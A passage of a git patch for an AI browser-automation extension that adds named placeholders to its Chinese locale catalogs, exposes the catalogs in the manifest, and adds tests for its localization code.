"解锁保险库出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b621934f80": { "message": "PIN 不一致" @@ -2669,13 +2812,23 @@ "message": "无法创建保险库" }, "copy_be90a4301c": { - "message": "创建保险库出错:$ERROR$" + "message": "创建保险库出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_344e10f557": { "message": "输入你的 PIN" }, "copy_d8689df745": { - "message": "锁定保险库出错:$ERROR$" + "message": "锁定保险库出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_025f3d105c": { "message": "域名为必填" @@ -2684,25 +2837,55 @@ "message": "需要用户名或密码" }, "copy_9afaa0cd06": { - "message": "保存失败:$ERROR$" + "message": "保存失败:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_161d5eb702": { - "message": "保存凭据出错:$ERROR$" + "message": "保存凭据出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_2be1559933": { - "message": "删除“$DOMAIN$”的已保存凭据?此操作无法撤销。" + "message": "删除“$DOMAIN$”的已保存凭据?此操作无法撤销。", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_742e696153": { - "message": "删除失败:$ERROR$" + "message": "删除失败:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f91e85ab50": { - "message": "删除凭据出错:$ERROR$" + "message": "删除凭据出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6ddb0ed270": { "message": "付款方式已解锁" }, "copy_c75e2cc897": { - "message": "解锁付款方式出错:$ERROR$" + "message": "解锁付款方式出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b69b2dc301": { "message": "付款方式已锁定" @@ -2711,7 +2894,12 @@ "message": "无法锁定付款方式" }, "copy_af2ea4b480": { - "message": "锁定付款方式出错:$ERROR$" + "message": "锁定付款方式出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_38c2cc72e3": { "message": "请输入数字 PIN" @@ -2735,7 +2923,12 @@ "message": "付款方式已保存" }, "copy_58adb591be": { - "message": "保存付款方式出错:$ERROR$" + "message": "保存付款方式出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f03b63954b": { "message": "删除此付款方式?此操作无法撤销。" @@ -2744,7 +2937,12 @@ "message": "付款方式已删除" }, "copy_2a0de92af3": { - "message": "删除付款方式出错:$ERROR$" + "message": "删除付款方式出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_4f15f65f6e": { "message": "请输入要探索的 URL" @@ -2753,13 +2951,23 @@ "message": "URL 格式无效" }, "copy_a6215dba6d": { - "message": "无法启动探索:$ERROR$" + "message": "无法启动探索:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_284429f90b": { "message": "已停止所有爬取" }, "copy_aee9e10eae": { - "message": "$DOMAIN$ 的爬取失败" + "message": "$DOMAIN$ 的爬取失败", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_d604ffed30": { "message": "未找到研究数据" @@ -2792,22 +3000,58 @@ "message": "正在用 AI 优化站点地图..." }, "copy_00834dcdc3": { - "message": "$DOMAIN$ 的站点地图:$PAGES$ 个页面,$FORMS$ 个表单(AI 增强)" + "message": "$DOMAIN$ 的站点地图:$PAGES$ 个页面,$FORMS$ 个表单(AI 增强)", + "placeholders": { + "domain": { + "content": "$1" + }, + "pages": { + "content": "$2" + }, + "forms": { + "content": "$3" + } + } }, "copy_a249e56325": { - "message": "已保存并优化 $DOMAIN$ 的站点地图" + "message": "已保存并优化 $DOMAIN$ 的站点地图", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_237923127b": { - "message": "已保存 $DOMAIN$ 的站点地图(优化未返回数据)" + "message": "已保存 $DOMAIN$ 的站点地图(优化未返回数据)", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_35d9e0c46c": { - "message": "站点地图已保存(AI 优化失败:$ERROR$)" + "message": "站点地图已保存(AI 优化失败:$ERROR$)", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c8c83ca919": { - "message": "已将 $DOMAIN$ 的站点地图保存到记忆" + "message": "已将 $DOMAIN$ 的站点地图保存到记忆", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_c32ea6d22f": { - "message": "保存到记忆失败:$ERROR$" + "message": "保存到记忆失败:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_963ba004ea": { "message": "确定删除全部研究结果吗?此操作无法撤销。" @@ -2828,7 +3072,12 @@ "message": "无法生成哈希密钥" }, "copy_52b3b70484": { - "message": "无法连接服务器:$ERROR$" + "message": "无法连接服务器:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cbdbc53db1": { "message": "没有可复制的哈希密钥" @@ -2858,10 +3107,20 @@ "message": "配对响应格式错误" }, "copy_30fa7c27e5": { - "message": "无法生成配对码:$ERROR$" + "message": "无法生成配对码:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_acce51c1d3": { - "message": "无法注册哈希密钥:$ERROR$" + "message": "无法注册哈希密钥:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cb4c956be2": { "message": "删除此记忆?" @@ -2891,7 +3150,12 @@ "message": "站点地图已优化" }, "copy_a266f3a3ce": { - "message": "AI 优化失败:$ERROR$" + "message": "AI 优化失败:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0b0bdbabab": { "message": "删除全部记忆?此操作无法撤销。" @@ -2900,7 +3164,12 @@ "message": "已清除全部记忆" }, "copy_e158cd5a5e": { - "message": "无法清除记忆:$ERROR$" + "message": "无法清除记忆:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_21ce69d58b": { "message": "远程控制已启用" diff --git a/extension/_locales/zh_TW/messages.json b/extension/_locales/zh_TW/messages.json index 2e439d8ce..9d016a0e0 100644 --- a/extension/_locales/zh_TW/messages.json +++ b/extension/_locales/zh_TW/messages.json @@ -2171,10 +2171,20 @@ "message": "它不能編輯檔案、執行 shell 命令或擷取任意 URL。" }, "copy_65974683e8": { - "message": "在之後的執行中信任 $NAME$" + "message": "在之後的執行中信任 $NAME$", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_a9780e01fc": { - "message": "這會關閉此瀏覽器上之後 $NAME$ 執行的確認。" + "message": "這會關閉此瀏覽器上之後 $NAME$ 執行的確認。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_88cad98751": { "message": "無法儲存確認偏好。請重試,或不建立信任並繼續。" @@ -2183,7 +2193,12 @@ "message": "無法啟動代理。請檢查權限後重試。" }, "copy_02df469915": { - "message": "允許並啟動 $NAME$" + "message": "允許並啟動 $NAME$", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_63b90cc26c": { "message": "原生小幫手已與另一個擴充功能配對" @@ -2204,7 +2219,12 @@ "message": "所選提供者不支援控制瀏覽器分頁的代理。請選擇支援的代理提供者,然後重試此訊息。" }, "copy_664ba782e6": { - "message": "請在本機登入 $NAME$,然後重試此訊息。" + "message": "請在本機登入 $NAME$,然後重試此訊息。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_1c5510dd75": { "message": "「測試連線」仍可能成功,因為它不會啟動委派執行。請重試訊息或檢查提供者設定。" @@ -2246,7 +2266,12 @@ "message": "請安裝或更新 FSB 原生小幫手,然後重試。FSB 會自動連接此瀏覽器。" }, "copy_87db7a3927": { - "message": "FSB 無法將此分頁交還給 $NAME$,因此執行已結束,分頁仍由你控制。準備好後請開始新工作。" + "message": "FSB 無法將此分頁交還給 $NAME$,因此執行已結束,分頁仍由你控制。準備好後請開始新工作。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_d1708202db": { "message": "重試訊息" @@ -2270,19 +2295,39 @@ "message": "開始另一項工作之前,請在原來的分頁和對話中完成待處理的代理清理。你的訊息已保留。" }, "copy_b3715a6900": { - "message": "FSB 無法將此分頁交還給 $NAME$,因此執行已結束,分頁仍由你控制。" + "message": "FSB 無法將此分頁交還給 $NAME$,因此執行已結束,分頁仍由你控制。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_47220517c7": { "message": "未安裝 FSB 的本機小幫手。請執行:npx -y fsb-mcp-server@latest install --native-host" }, "copy_d0b5d103f7": { - "message": "正在對 $DOMAIN$ 開始偵察..." + "message": "正在對 $DOMAIN$ 開始偵察...", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_7654da628e": { - "message": "偵察未能開始:$ERROR$" + "message": "偵察未能開始:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ca79bcd4d7": { - "message": "偵察完成!已儲存 $DOMAIN$ 的網站地圖。" + "message": "偵察完成!已儲存 $DOMAIN$ 的網站地圖。", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_0f654a723b": { "message": "自動化已完成,但沒有提供摘要。如果工作未按預期完成,請重試。" @@ -2324,22 +2369,47 @@ "message": "正在略過重播步驟..." }, "copy_2d7848007e": { - "message": "無法套用重播決定:$ERROR$" + "message": "無法套用重播決定:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d3db7357d": { "message": "已封鎖 · 已隱去的輸入" }, "copy_4916a64c38": { - "message": "MCP 用戶端要求在 $COUNT$ 個新分頁中重播。" + "message": "MCP 用戶端要求在 $COUNT$ 個新分頁中重播。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_c15b9f2acd": { - "message": "MCP 用戶端要求在 $COUNT$ 個新分頁中重播。" + "message": "MCP 用戶端要求在 $COUNT$ 個新分頁中重播。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_552d4905b4": { - "message": "一次核准只涵蓋經核實的清單本身,其中包括 $COUNT$ 個高影響步驟。" + "message": "一次核准只涵蓋經核實的清單本身,其中包括 $COUNT$ 個高影響步驟。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c946b4834": { - "message": "一次核准只涵蓋經核實的清單本身,其中包括 $COUNT$ 個高影響步驟。" + "message": "一次核准只涵蓋經核實的清單本身,其中包括 $COUNT$ 個高影響步驟。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_9240c9c130": { "message": "一次核准只涵蓋經核實的清單本身。" @@ -2351,28 +2421,61 @@ "message": "無法開始重播" }, "copy_1a0ef83852": { - "message": "無法開始所要求的重播:$ERROR$" + "message": "無法開始所要求的重播:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_98db9dc8c5": { "message": "取消重播失敗" }, "copy_4ed0e5ecba": { - "message": "無法取消重播要求:$ERROR$" + "message": "無法取消重播要求:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d9f4051eb": { "message": "重播驗證失敗" }, "copy_fc1f569fa7": { - "message": "此記錄僅可檢查,因為 $TOTAL$ 次已記錄呼叫中只有最近的 $LATEST$ 次可用。更早的瀏覽器狀態無法安全重建。" + "message": "此記錄僅可檢查,因為 $TOTAL$ 次已記錄呼叫中只有最近的 $LATEST$ 次可用。更早的瀏覽器狀態無法安全重建。", + "placeholders": { + "latest": { + "content": "$1" + }, + "total": { + "content": "$2" + } + } }, "copy_a2f62124e7": { - "message": "要在 $COUNT$ 個新分頁中重播此已核實的時間軸嗎?" + "message": "要在 $COUNT$ 個新分頁中重播此已核實的時間軸嗎?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c55f6bc6e": { - "message": "要在 $COUNT$ 個新分頁中重播此已核實的時間軸嗎?" + "message": "要在 $COUNT$ 個新分頁中重播此已核實的時間軸嗎?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_dea4fcd3a0": { - "message": "這一次核准只涵蓋已簽名的清單本身:$DETAIL$。" + "message": "這一次核准只涵蓋已簽名的清單本身:$DETAIL$。", + "placeholders": { + "detail": { + "content": "$1" + } + } }, "copy_82e80a0531": { "message": "時間軸只包含讀取和導覽步驟。" @@ -2384,7 +2487,12 @@ "message": "無法開始重播。" }, "copy_816797656b": { - "message": "無法開始重播:$ERROR$" + "message": "無法開始重播:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6a7fdeaea6": { "message": "無法刪除工作階段歷程" @@ -2396,7 +2504,12 @@ "message": "擷取正在等待驗證" }, "copy_712090559d": { - "message": "無法載入工作階段:$ERROR$" + "message": "無法載入工作階段:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c249c35164": { "message": "刪除全部工作階段歷程?此操作無法復原。" @@ -2408,7 +2521,12 @@ "message": "工作部分完成" }, "copy_2786eaaa0e": { - "message": "重設為建議值 ($COUNT$)" + "message": "重設為建議值 ($COUNT$)", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_03cea39622": { "message": "在下方輸入模型名稱" @@ -2525,7 +2643,12 @@ "message": "沒有 API 金鑰" }, "copy_ec6c5d7132": { - "message": "設定你的 $NAME$ API 金鑰以開始使用" + "message": "設定你的 $NAME$ API 金鑰以開始使用", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_59b831ea1c": { "message": "需要 API 金鑰" @@ -2543,13 +2666,23 @@ "message": "已安裝且相容:Grok Build 1.0.4。隔離、ACP 和快取的 OAuth 檢查已通過,且未傳送提示。" }, "copy_aab517a207": { - "message": "相容性檢查失敗:$ERROR$" + "message": "相容性檢查失敗:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b33e732cc1": { "message": "紀錄已匯出" }, "copy_11eb704622": { - "message": "$ORIGIN$ 的同意模式" + "message": "$ORIGIN$ 的同意模式", + "placeholders": { + "origin": { + "content": "$1" + } + } }, "copy_7655b9531e": { "message": "稽核紀錄無法使用" @@ -2603,7 +2736,12 @@ "message": "無法載入工作階段事件" }, "copy_952bb703c9": { - "message": "無法載入更多工作階段事件:$ERROR$" + "message": "無法載入更多工作階段事件:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ce10cc25bb": { "message": "未選擇工作階段" @@ -2657,7 +2795,12 @@ "message": "無法匯出工作階段" }, "copy_30784a43b1": { - "message": "解除保險庫鎖定時發生錯誤:$ERROR$" + "message": "解除保險庫鎖定時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b621934f80": { "message": "PIN 不一致" @@ -2669,13 +2812,23 @@ "message": "無法建立保險庫" }, "copy_be90a4301c": { - "message": "建立保險庫時發生錯誤:$ERROR$" + "message": "建立保險庫時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_344e10f557": { "message": "輸入你的 PIN" }, "copy_d8689df745": { - "message": "鎖定保險庫時發生錯誤:$ERROR$" + "message": "鎖定保險庫時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_025f3d105c": { "message": "網域為必填" @@ -2684,25 +2837,55 @@ "message": "需要使用者名稱或密碼" }, "copy_9afaa0cd06": { - "message": "儲存失敗:$ERROR$" + "message": "儲存失敗:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_161d5eb702": { - "message": "儲存憑證時發生錯誤:$ERROR$" + "message": "儲存憑證時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_2be1559933": { - "message": "刪除「$DOMAIN$」的已儲存憑證?此操作無法復原。" + "message": "刪除「$DOMAIN$」的已儲存憑證?此操作無法復原。", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_742e696153": { - "message": "刪除失敗:$ERROR$" + "message": "刪除失敗:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f91e85ab50": { - "message": "刪除憑證時發生錯誤:$ERROR$" + "message": "刪除憑證時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6ddb0ed270": { "message": "付款方式已解除鎖定" }, "copy_c75e2cc897": { - "message": "解除付款方式鎖定時發生錯誤:$ERROR$" + "message": "解除付款方式鎖定時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b69b2dc301": { "message": "付款方式已鎖定" @@ -2711,7 +2894,12 @@ "message": "無法鎖定付款方式" }, "copy_af2ea4b480": { - "message": "鎖定付款方式時發生錯誤:$ERROR$" + "message": "鎖定付款方式時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_38c2cc72e3": { "message": "請輸入數字 PIN" @@ -2735,7 +2923,12 @@ "message": "付款方式已儲存" }, "copy_58adb591be": { - "message": "儲存付款方式時發生錯誤:$ERROR$" + "message": "儲存付款方式時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f03b63954b": { "message": "刪除此付款方式?此操作無法復原。" @@ -2744,7 +2937,12 @@ "message": "付款方式已刪除" }, "copy_2a0de92af3": { - "message": "刪除付款方式時發生錯誤:$ERROR$" + "message": "刪除付款方式時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_4f15f65f6e": { "message": "請輸入要探索的 URL" @@ -2753,13 +2951,23 @@ "message": "URL 格式無效" }, "copy_a6215dba6d": { - "message": "無法啟動探索:$ERROR$" + "message": "無法啟動探索:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_284429f90b": { "message": "已停止所有爬取" }, "copy_aee9e10eae": { - "message": "$DOMAIN$ 的爬取失敗" + "message": "$DOMAIN$ 的爬取失敗", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_d604ffed30": { "message": "找不到研究資料" @@ -2792,22 +3000,58 @@ "message": "正在用 AI 精煉網站地圖..." }, "copy_00834dcdc3": { - "message": "$DOMAIN$ 的網站地圖:$PAGES$ 個頁面,$FORMS$ 個表單(AI 增強)" + "message": "$DOMAIN$ 的網站地圖:$PAGES$ 個頁面,$FORMS$ 個表單(AI 增強)", + "placeholders": { + "domain": { + "content": "$1" + }, + "pages": { + "content": "$2" + }, + "forms": { + "content": "$3" + } + } }, "copy_a249e56325": { - "message": "已儲存並精煉 $DOMAIN$ 的網站地圖" + "message": "已儲存並精煉 $DOMAIN$ 的網站地圖", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_237923127b": { - "message": "已儲存 $DOMAIN$ 的網站地圖(精煉未傳回資料)" + "message": "已儲存 $DOMAIN$ 的網站地圖(精煉未傳回資料)", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_35d9e0c46c": { - "message": "網站地圖已儲存(AI 精煉失敗:$ERROR$)" + "message": "網站地圖已儲存(AI 精煉失敗:$ERROR$)", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c8c83ca919": { - "message": "已將 $DOMAIN$ 的網站地圖儲存到記憶" + "message": "已將 $DOMAIN$ 的網站地圖儲存到記憶", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_c32ea6d22f": { - "message": "儲存到記憶失敗:$ERROR$" + "message": "儲存到記憶失敗:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_963ba004ea": { "message": "確定刪除全部研究結果嗎?此操作無法復原。" @@ -2828,7 +3072,12 @@ "message": "無法產生雜湊金鑰" }, "copy_52b3b70484": { - "message": "無法連接伺服器:$ERROR$" + "message": "無法連接伺服器:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cbdbc53db1": { "message": "沒有可複製的雜湊金鑰" @@ -2858,10 +3107,20 @@ "message": "配對回應格式錯誤" }, "copy_30fa7c27e5": { - "message": "無法產生配對碼:$ERROR$" + "message": "無法產生配對碼:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_acce51c1d3": { - "message": "無法註冊雜湊金鑰:$ERROR$" + "message": "無法註冊雜湊金鑰:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cb4c956be2": { "message": "刪除此記憶?" @@ -2891,7 +3150,12 @@ "message": "網站地圖已精煉" }, "copy_a266f3a3ce": { - "message": "AI 精煉失敗:$ERROR$" + "message": "AI 精煉失敗:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0b0bdbabab": { "message": "刪除全部記憶?此操作無法復原。" @@ -2900,7 +3164,12 @@ "message": "已清除全部記憶" }, "copy_e158cd5a5e": { - "message": "無法清除記憶:$ERROR$" + "message": "無法清除記憶:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_21ce69d58b": { "message": "遠端控制已啟用" diff --git a/extension/manifest.json b/extension/manifest.json index 35832f7d8..eae160f2d 100644 --- a/extension/manifest.json +++ b/extension/manifest.json @@ -48,6 +48,7 @@ { "resources": [ "assets/icon48.png", + "_locales/*/messages.json", "site-maps/*.json", "test-data/**/*", "utils/redactForLog.js", diff --git a/extension/ui/control_panel.html b/extension/ui/control_panel.html index 4c9cb859d..6516e6f56 100644 --- a/extension/ui/control_panel.html +++ b/extension/ui/control_panel.html @@ -2076,7 +2076,7 @@

Community

- + /g, ''); + const inline = [...html.matchAll(/]*)>([\s\S]*?)<\/script>/gi)] + .filter((match) => !/\bsrc\s*=/.test(match[1]) && match[2].trim()); + check(inline.length === 0, `${file} has no inline script`); +} + +check(manifest.web_accessible_resources.some((entry) => entry.resources.includes('_locales/*/messages.json')), + 'content scripts can fetch the locale catalogs'); + +const optionsSource = fs.readFileSync(path.join(root, 'extension/ui/options.js'), 'utf8'); +check(optionsSource.includes("hint.textContent = fsbUiLine('Automation prohibited for this origin. ')\n + (classified.reason || '');"), + 'the blocked-origin hint keeps its denial reason'); + +const getMessageCalls = []; +globalThis.chrome = { i18n: { getMessage(key, subs) { getMessageCalls.push(subs); return 'Actions: '; } } }; +locale.setBrowserTag('en'); +locale.setOverride(null); +check(locale.text('probe_missing_key', 'Actions: 5', { count: 5 }) === 'Actions: 5', 'named substitutions keep their values when the catalog lacks the key'); +check(getMessageCalls.length === 0, 'chrome.i18n.getMessage never receives named substitutions'); +check(locale.t('probe_missing_key') === 'Actions: ' && getMessageCalls.length === 1, 'plain lookups still fall back to chrome.i18n'); +delete globalThis.chrome; + +// Every static data-i18n text and data-i18n-attr value must equal its English +// message, or apply() will treat it as page-owned and never translate it. +function norm(value) { + return String(value == null ? '' : value).replace(/\s+/g, ' ').trim(); +} + +function decodeEntities(value) { + return value + .replace(/&#x([0-9a-f]+);/gi, (_all, hex) => String.fromCodePoint(parseInt(hex, 16))) + .replace(/&#(\d+);/g, (_all, dec) => String.fromCodePoint(Number(dec))) + .replace(/"/g, '"') + .replace(/'/g, "'") + .replace(/</g, '<') + .replace(/>/g, '>') + .replace(/ /g, ' ') + .replace(/·/g, '·') + .replace(/→/g, '→') + .replace(/×/g, '×') + .replace(/&/g, '&'); +} + +function staticMismatches(file) { + const source = fs.readFileSync(path.join(root, file), 'utf8') + .replace(//g, '') + .replace(/<(script|style)\b[\s\S]*?<\/\1>/gi, ''); + const misses = []; + const open = []; + const token = /<\/([A-Za-z0-9]+)\s*>|<([A-Za-z0-9]+)((?:\s+[^\s=>]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s>]+))?)*)\s*(\/?)>|([^<]+)/g; + let match; + while ((match = token.exec(source))) { + if (match[1]) { + const name = match[1].toLowerCase(); + for (let n = open.length - 1; n >= 0; n -= 1) { + if (open[n].name !== name) continue; + const frame = open.splice(n)[0]; + if (frame.key && norm(frame.text) !== norm(englishCatalog[frame.key] && englishCatalog[frame.key].message)) { + misses.push(`${frame.key}: "${norm(frame.text)}"`); + } + break; + } + continue; + } + if (match[2]) { + const name = match[2].toLowerCase(); + const attrs = {}; + for (const attr of (match[3] || '').matchAll(/([^\s=]+)\s*=\s*"([^"]*)"/g)) attrs[attr[1]] = decodeEntities(attr[2]); + for (const part of (attrs['data-i18n-attr'] || '').split(',')) { + const bits = part.split(':'); + if (bits.length !== 2) continue; + const key = bits[1].trim(); + if (norm(attrs[bits[0].trim()]) !== norm(englishCatalog[key] && englishCatalog[key].message)) { + misses.push(`${key}: ${bits[0].trim()}="${attrs[bits[0].trim()]}"`); + } + } + if (match[4] === '/' || /^(img|input|br|hr|meta|link|source)$/.test(name)) continue; + open.push({ name, key: attrs['data-i18n'] || null, text: '' }); + continue; + } + const value = decodeEntities(match[5]); + for (const frame of open) frame.text += value; + } + return misses; +} + +for (const file of [ + 'extension/ui/control_panel.html', + 'extension/ui/sidepanel.html', + 'extension/ui/popup.html', + 'extension/ui/unlock.html', + 'extension/ui/microphone-permission.html', + 'extension/ui/onboarding.html' +]) { + const misses = staticMismatches(file); + check(misses.length === 0, `${file} static i18n text matches the English catalog${misses.length ? ' (' + misses.slice(0, 3).join('; ') + ')' : ''}`); +} + +function fakeNode(attrs, textContent) { + return { + attrs: Object.assign({}, attrs), + textContent, + childNodes: [], + get firstChild() { return null; }, + getAttribute(name) { return Object.prototype.hasOwnProperty.call(this.attrs, name) ? this.attrs[name] : null; }, + setAttribute(name, value) { this.attrs[name] = String(value); }, + removeAttribute(name) { delete this.attrs[name]; } + }; +} + +function fakeDoc(nodes) { + return { + querySelectorAll(selector) { + const name = selector.slice(1, -1); + return nodes.filter((node) => node.getAttribute(name) != null); + } + }; +} + +async function asyncChecks() { + const requested = []; + await locale.loadCatalogs((url) => { + requested.push(url); + return Promise.resolve({ json: () => ({}) }); + }, ['ko', 'zh-TW']); + check(JSON.stringify(requested) === JSON.stringify(['_locales/ko/messages.json', '_locales/zh_TW/messages.json']), + 'loadCatalogs fetches only the requested locales'); + const realFetch = globalThis.fetch; + let fetched = 0; + globalThis.fetch = () => { fetched += 1; return Promise.reject(new Error('unexpected fetch')); }; + await locale.ensureCatalog('ko'); + globalThis.fetch = realFetch; + check(fetched === 0, 'ensureCatalog does not refetch a loaded catalog'); + + locale.setCatalog('en', { probe_count: '0 of 8 active', probe_title: 'Agent CLI', probe_label: 'Consent mode for origin', shell_ready: 'Ready', shell_working: 'Working' }); + locale.setCatalog('de', { probe_count: '0 von 8 aktiv', probe_title: 'Agent-CLI', probe_label: 'Einwilligungsmodus für Ursprung', shell_ready: 'Bereit', shell_working: 'Arbeitet' }); + locale.setBrowserTag('en'); + locale.setOverride('de'); + + const counter = fakeNode({ 'data-i18n': 'probe_count' }, '3 of 4 active'); + const heading = fakeNode({ 'data-i18n': 'probe_title' }, '\n Agent CLI\n '); + const clonedRow = fakeNode({ 'data-i18n-attr': 'aria-label:probe_label', 'aria-label': 'Consent mode for example.com' }, ''); + const templateRow = fakeNode({ 'data-i18n-attr': 'aria-label:probe_label', 'aria-label': 'Consent mode for origin' }, ''); + locale.apply(fakeDoc([counter, heading, clonedRow, templateRow])); + check(counter.textContent === '3 of 4 active', 'apply leaves static text that a page script replaced'); + check(heading.textContent === 'Agent-CLI', 'apply translates static text that still shows its catalog message'); + check(clonedRow.getAttribute('aria-label') === 'Consent mode for example.com', 'apply leaves attributes that a page script replaced'); + check(templateRow.getAttribute('aria-label') === 'Einwilligungsmodus für Ursprung', 'apply translates attributes that still show their catalog message'); + + const status = fakeNode({ 'data-i18n': 'shell_ready' }, 'Ready'); + locale.markExact(status, 'Working'); + check(status.textContent === 'Arbeitet' && status.getAttribute('data-i18n-shown') === 'Arbeitet', 'fill records the shown text'); + status.textContent = 'Owned by Ada'; + locale.apply(fakeDoc([status])); + check(status.textContent === 'Owned by Ada', 'apply leaves a live node that a page script overwrote'); + check(status.getAttribute('data-i18n-live') === null, 'apply drops the live key of an overwritten node'); + + const runner = fakeNode({}, ''); + locale.markExact(runner, 'Working'); + locale.setOverride(null); + locale.apply(fakeDoc([runner])); + check(runner.textContent === 'Working', 'apply re-translates a live node it still owns'); + locale.markExact(runner, 'Clicking the submit button'); + check(runner.getAttribute('data-i18n-live') === null && runner.getAttribute('data-i18n-shown') === null, + 'markExact with uncataloged text clears the previous live key'); + locale.apply(fakeDoc([runner])); + check(runner.textContent === 'Clicking the submit button', 'apply does not bring back a cleared live string'); +} + +asyncChecks().then(() => { + console.log(`\n${passed} passed, ${failed} failed`); + if (failed) process.exit(1); +}, (err) => { + console.error(err); + process.exit(1); +}); diff --git a/tests/fixtures/extension-i18n/bad-undefined-placeholder/en/messages.json b/tests/fixtures/extension-i18n/bad-undefined-placeholder/en/messages.json new file mode 100644 index 000000000..5c8a8d6aa --- /dev/null +++ b/tests/fixtures/extension-i18n/bad-undefined-placeholder/en/messages.json @@ -0,0 +1,8 @@ +{ + "locale_seed_greeting": { + "message": "FSB is ready" + }, + "locale_seed_replay": { + "message": "Replay speed $SPEED$" + } +} diff --git a/tests/fixtures/extension-i18n/bad-undefined-placeholder/es/messages.json b/tests/fixtures/extension-i18n/bad-undefined-placeholder/es/messages.json new file mode 100644 index 000000000..6496ecbd1 --- /dev/null +++ b/tests/fixtures/extension-i18n/bad-undefined-placeholder/es/messages.json @@ -0,0 +1,8 @@ +{ + "locale_seed_greeting": { + "message": "FSB está listo" + }, + "locale_seed_replay": { + "message": "Velocidad de repetición $SPEED$" + } +} From c29691a83fef9a4c89bceceb5fc06ffbf50e43ff Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Wed, 14 Oct 2026 10:54:32 -0500 Subject: [PATCH 14/57] fix(66-71): keep locale state across re-injection and protect markup - Reuse the booted fsbUiLocale instance when content scripts are injected again, so the overlay keeps its catalogs and language override. - Store site map memory text in English through siteMapMemoryText(); only the toast is localized. Drop the now-unused copy_00834dcdc3 message. - Split the microphone instruction into lead, label, and tail keys so the bold label survives apply(), and skip keyed nodes with child markup. - Prune detached overlay roots in watchChrome so they are not retained. - Keep mounted language pickers in step with changes made elsewhere. Co-Authored-By: Claude Opus 5.5 (1M context) --- 